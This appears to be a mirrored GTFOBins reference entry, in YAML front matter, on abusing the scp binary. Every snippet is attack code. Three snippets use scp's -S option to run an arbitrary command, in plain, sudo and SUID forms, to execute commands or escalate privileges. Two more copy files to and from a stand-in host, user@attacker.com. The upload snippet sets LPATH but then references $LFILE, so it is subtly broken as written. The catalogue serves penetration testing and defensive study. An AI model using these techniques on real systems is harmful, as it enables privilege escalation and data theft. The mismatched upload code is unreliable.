mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
37 lines
825 B
Markdown
37 lines
825 B
Markdown
---
|
|
functions:
|
|
execute-non-interactive:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
CMD="id"
|
|
echo "$CMD" > "$TF"
|
|
chmod +x "$TF"
|
|
scp -S $TF x y:
|
|
sudo-enabled:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
CMD="id"
|
|
echo "$CMD" > "$TF"
|
|
chmod +x "$TF"
|
|
sudo scp -S $TF x y:
|
|
suid-limited:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
CMD="id"
|
|
echo "$CMD" > "$TF"
|
|
chmod +x "$TF"
|
|
./scp -S $TF a b:
|
|
upload:
|
|
- description: Send local file to a SSH server.
|
|
code: |
|
|
RPATH=user@attacker.com:~/file_to_save
|
|
LPATH=file_to_send
|
|
scp $LFILE $RPATH
|
|
download:
|
|
- description: Fetch a remote file from a SSH server.
|
|
code: |
|
|
RPATH=user@attacker.com:~/file_to_get
|
|
LFILE=file_to_save
|
|
scp $RPATH $LFILE
|
|
---
|